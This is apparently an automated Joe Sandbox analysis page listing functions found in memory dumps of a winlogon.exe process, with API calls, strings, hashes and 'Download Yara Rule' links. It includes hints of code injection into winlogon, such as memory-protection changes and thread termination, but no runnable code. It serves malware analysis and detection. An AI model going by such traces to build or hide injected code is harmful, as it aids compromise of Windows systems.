Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: a1042e87f8364f6b2e966bad11af8e790b8d99eaa053b685ef812c5dffe2a578
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 6531B522701B9186EB14CF96DD88769B7A0FB44BC0F8881229E4C47B75EF3ACD618700

Function 000002D0165E14A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 70memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E14C5
HeapFree.KERNEL32 ref: 000002D0165E14D4
GetProcessHeap.KERNEL32 ref: 000002D0165E14E1
HeapFree.KERNEL32 ref: 000002D0165E14F0
GetProcessHeap.KERNEL32 ref: 000002D0165E1500

Strings

C:\Windows\system32\winlogon.exe, xrefs: 000002D0165F61A9, 000002D0165F61B1

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\winlogon.exe
API String ID: 3168794593-3603389050
Opcode ID: d27b9b8ca154d9eedff1e610dfbacc8608a6d25d7c3fe3b6d17278c798082fda
Instruction ID: 7f7260ef79563c5a266f126e1a848f4d5cc61924374436ce50858df01a2f744e
Opcode Fuzzy Hash: d27b9b8ca154d9eedff1e610dfbacc8608a6d25d7c3fe3b6d17278c798082fda
Instruction Fuzzy Hash: 8621A0AB508AE08AE760DFB59CD9B9D37A1F749B44F894057DB4D83367DE25CC088720

Function 000002D0165ECFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002D0165ECFAF
FlsSetValue.KERNEL32(?,?,?,000002D0165ED6B5,?,?,?,?,000002D0165ED778), ref: 000002D0165ECFE5
FlsSetValue.KERNEL32(?,?,?,000002D0165ED6B5,?,?,?,?,000002D0165ED778), ref: 000002D0165ED012
FlsSetValue.KERNEL32(?,?,?,000002D0165ED6B5,?,?,?,?,000002D0165ED778), ref: 000002D0165ED023
FlsSetValue.KERNEL32(?,?,?,000002D0165ED6B5,?,?,?,?,000002D0165ED778), ref: 000002D0165ED034
SetLastError.KERNEL32 ref: 000002D0165ED04F

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 881857e728745ec88ca4b8388d6fa749b937d482b05cecb59b8676985d1b6840
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: B7113D212052C482FF64A7F99DDD329E2426B947B0F945727A83E477F6EE6ACE418600

Function 000002D0165E199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002D0165E19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002D0165E19E0
PathFindFileNameW.SHLWAPI ref: 000002D0165E19EF
lstrlenW.KERNEL32 ref: 000002D0165E19FB
StrCpyW.SHLWAPI ref: 000002D0165E1A0E
CloseHandle.KERNEL32 ref: 000002D0165E1A1C

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 94470d76e8e99169dc1bd6030e286acf90538daadbbb330fa07aa5c63b58bfdf
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: BD012931300A9082EB64DBA2A89C799A3A5F788BC5FC84076DE4E43765DF3DCD89C750

Function 000002D0165E36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002D0165E36E4
GetCurrentProcess.KERNEL32 ref: 000002D0165E36F2
VirtualProtectEx.KERNEL32 ref: 000002D0165E3714
GetCurrentProcess.KERNEL32 ref: 000002D0165E3732
VirtualProtectEx.KERNEL32 ref: 000002D0165E3753
TerminateThread.KERNEL32 ref: 000002D0165E3762

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 0ee65fdd732b982381bbf943d3faa4b165bcf9ac086ffcbc2b1acb993f4b5dc0
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 72012975211B80C2EF249BA1EC9C71A73A4BB49B86F94446ADD4D077B5EF3ECA488710

Function 000002D0165E8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D0165E9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D0165E90A8
RtlUnwindEx.NTDLL ref: 000002D0165E90F7

Strings

f, xrefs: 000002D0165E9026
csm, xrefs: 000002D0165E908E

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 289176f1ec5211bc532f7d3476c86f990fa8211b4c40f3c47dcc25eee0941410
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: CB51A43270168086EF18DFA5EC8CB59B7BAF344B88F908526DE5A47758EB76CE41C700

Function 000002D0165E1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002D0165E1A60
StrCmpNIW.SHLWAPI ref: 000002D0165E1A7A
lstrlenW.KERNEL32 ref: 000002D0165E1A89
StrCpyW.SHLWAPI ref: 000002D0165E1A9E

Strings

\\?\, xrefs: 000002D0165E1A6E

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: b0a73550e19d607c0733c4eed862a0f106358cff4bd746a1ba228e1ad1f57731
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: B6F04F2270468192EB708FA1FCC87A9A760F748B89FD44022DA4D479A4DF7DCE8DCB10

Function 000002D0165E3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002D0165E3066
StrCpyW.SHLWAPI ref: 000002D0165E3076
StrCatW.SHLWAPI ref: 000002D0165E3082
PathCombineW.SHLWAPI ref: 000002D0165E3090

Strings

\\.\pipe\, xrefs: 000002D0165E305C

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 9f9f7269bcd04a4d7622e5ff7d9e750e699f4d99e062e085e30b3f0fddd74a17
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 50F08C21704BD082EF008BA3BD8C219A260AB48FC0F888172EE4E07B79DF3CC9458710

Function 000002D0165EBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002D0165EBCBD
GetProcAddress.KERNEL32 ref: 000002D0165EBCD3
FreeLibrary.KERNEL32 ref: 000002D0165EBCFA

Strings

CorExitProcess, xrefs: 000002D0165EBCCC
mscoree.dll, xrefs: 000002D0165EBCB4

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 73b21768389709e2f3859606edec8d020a16b8eaf151ef1aa857b1fe75e1916b
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: BCF06D61311A9581EF108BB4EC8C36A6361EB88BA1FD4025ADA6E462F4DF2DC9488320

Function 000002D0165E5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E5726

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 9867a48db4e2f8fc4ca8a19f3b7debced05d252233e4c618cb6bf9eff3b46b8e
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: 2F619076519B84C6EB60CB95E88831AB7A0F384794F905116FACD47BB4DB7EC954CF00

Function 000002D0165F4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D0165F412C
_set_statfp.LIBCMT ref: 000002D0165F4147
_set_statfp.LIBCMT ref: 000002D0165F4163
_set_statfp.LIBCMT ref: 000002D0165F419F

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 8658335e92f09a8eeac19449c432923065bddb668eaed47daa1299e6c01b2058
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4211A322A52BD411F76415E8DCDD76629406B783B8FC80AB6A97E177F7CB24CC554240

Function 000002D016593504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002D01659352C
_set_statfp.LIBCMT ref: 000002D016593547
_set_statfp.LIBCMT ref: 000002D016593563
_set_statfp.LIBCMT ref: 000002D01659359F

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: d75896c64213f2a1704ddb0ef00b701f646facd3cf9c70f6f098307262c4cee0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 28117326A14ED1D2FB6415E8ECDD36916816B5C37CFC8A63AA96F466F7CA28CC414100

Function 000002D01658F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002D01658F124

Strings

or copy constructor iterator', xrefs: 000002D01658F25A, 000002D01658F275
Wednesday, xrefs: 000002D01658F1ED
Tuesday, xrefs: 000002D01658F0F4

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 7926be692a7c3970f031dc47edbaea785ae167cdd99d474087a09ccf8e4f8d1a
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 4F617D666006C086FB659BEEEDCC32A6AA9A7897C4FD44517CB4F17FB5DB38CC418210

Function 000002D0165EAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002D0165EAA68
_CallSETranslator.LIBVCRUNTIME ref: 000002D0165EAAB7

Strings

MOC, xrefs: 000002D0165EAA7C
RCC, xrefs: 000002D0165EAA85

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 804a080e077f51fda726543e3350a461b6da8e690454341ee308e9e8ff120439
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 8E615973A00B848AEB20DFA5D88439DB7B0F344B88F444216EF4D17BA8DB39CA95C700

Function 000002D0165EAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D0165EADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D0165EAE88

Strings

csm, xrefs: 000002D0165EAEDA
csm, xrefs: 000002D0165EADC2

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ad9e7e9185666ca75af795e8e0b1f6e55ca99cc2d9033536fe9523c4600d1b2c
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9D517C761006C08AEF648BB599C8359B7A0F354B85F984217EE9D47BE5CB39DE90CB00

Function 000002D01658A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D01658A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002D01658A288

Strings

csm, xrefs: 000002D01658A2DA
csm, xrefs: 000002D01658A1C2

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ef81340c4c69f026b87580c2449cc675fc22f141087421cbe63eea405b38429c
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 6E516B321006C0CAEB748BA7998835877A8F355B94F988217DE9D87FE5CB38DC91C700

Function 000002D016588405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D016588413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D0165884A8

Strings

csm, xrefs: 000002D01658848E
f, xrefs: 000002D016588426

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: ebd46bf5b9efac163910b3874f46543552e5e73946441d757bd614891983f18b
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 3251CE327017809AEB14DF96F888B193799F354B98F968126DA5F43FA8EB34DD41C704

Function 000002D0165883E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002D016588413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002D0165884A8

Strings

csm, xrefs: 000002D01658848E
f, xrefs: 000002D016588426

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 7c97df61a7296e2470a292fba203d579020853e1c807cf3699b4a2e3da698be7
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: ED316632201780D6E714DB92EC88B1977A8F780B98F968016AE9F07BA8DB38CD41C704

Function 000002D0165F2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002D0165F20D7
WriteFile.KERNEL32 ref: 000002D0165F239F
WriteFile.KERNEL32 ref: 000002D0165F23E5
GetLastError.KERNEL32 ref: 000002D0165F249B

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 5187ed22ee1aa0ccaa690343eb8763e497484eb7c5724e3e0ad55031fafd28ef
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: A1D1D0B2B14A8089E711CFF9D88839C3BB1F3547D8F948256CE9D97BA9DA74C906C740

Function 000002D0165F2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002D0165F2A9C
GetLastError.KERNEL32 ref: 000002D0165F2B27

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: fc307cff70842e2266af54710cb554fca6c11a8db0236a9223c07c1d4ecee361
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: AA91AFB260069095F7609FE5DCC83AD2BA4B744BC8F94858BDE4E57AA5DB34CC86C700

Function 000002D0165E7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002D0165E798C
GetCurrentThreadId.KERNEL32 ref: 000002D0165E799A
GetCurrentProcessId.KERNEL32 ref: 000002D0165E79A6
QueryPerformanceCounter.KERNEL32 ref: 000002D0165E79B6

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 9a0ea9a6380481f60f05ebf9f0f7dac1e0ce870ea14a63a246dffcc75113e077
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 80113022714F5189EF00CFB0EC983A833A4F719758F840E26EA6D467A4DF78C5A88380

Function 000002D0165E253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002D0165E2620
StrCpyW.SHLWAPI ref: 000002D0165E2639

Strings

\\.\pipe\, xrefs: 000002D0165E262B

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 8ed4e21bebd3e23e3000fdb066cfaa34740bf68bfd650f15aaa82489475c79c3
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6871AF762007C18AEF649EA59CC83AAB794F389BC4F944127DD0E53BA9DE36CF458700

Function 000002D016589E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002D016589EB7

Strings

MOC, xrefs: 000002D016589E7C
RCC, xrefs: 000002D016589E85

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 7d9756844898b90560aff503cb0a52449b1d73c23fde83014149b18977801b46
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 36614A32600B848AEB24DFAAD88439D7BB4F744B88F444216EF4D17BA9DB38D955C740

Function 000002D0165E2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002D0165E2416
StrCpyW.SHLWAPI ref: 000002D0165E242D

Strings

\\.\pipe\, xrefs: 000002D0165E2421

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 4e8424fe214da5e11d23322d54be976519fd80502f98cc10b4f99395f6fd04db
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: B651A2326047C185EF649BAAA9DC3AAF751F385780FC58127DD9D07B6DDA3ACE048740

Function 000002D0165F26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002D0165F2807
GetLastError.KERNEL32 ref: 000002D0165F2829

Strings

U, xrefs: 000002D0165F27B3

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 34cadd197f94b95d681e4a8cd0f756d6a2bd82b0c53d0e2054fc3c1200778bca
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 19419572715BC085DB209FA5E8883AAB7A1F7987D4F908026EE4D877A4DB7CC945C740

Function 000002D0165E94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002D0165E94F0
RaiseException.KERNEL32 ref: 000002D0165E9531

Strings

csm, xrefs: 000002D0165E951E

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 6af6caf33eed429f26f2400f1c1a474b57e550817839aeb2e9cd6687076bf096
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 82113032214B8082EB618F25F844359B7E5FB88B94F584222DECC07768DF3DC951C700

Function 000002D016587356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D01658737C

Strings

ierarchy Descriptor', xrefs: 000002D016587381
riptor at (, xrefs: 000002D016587364

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
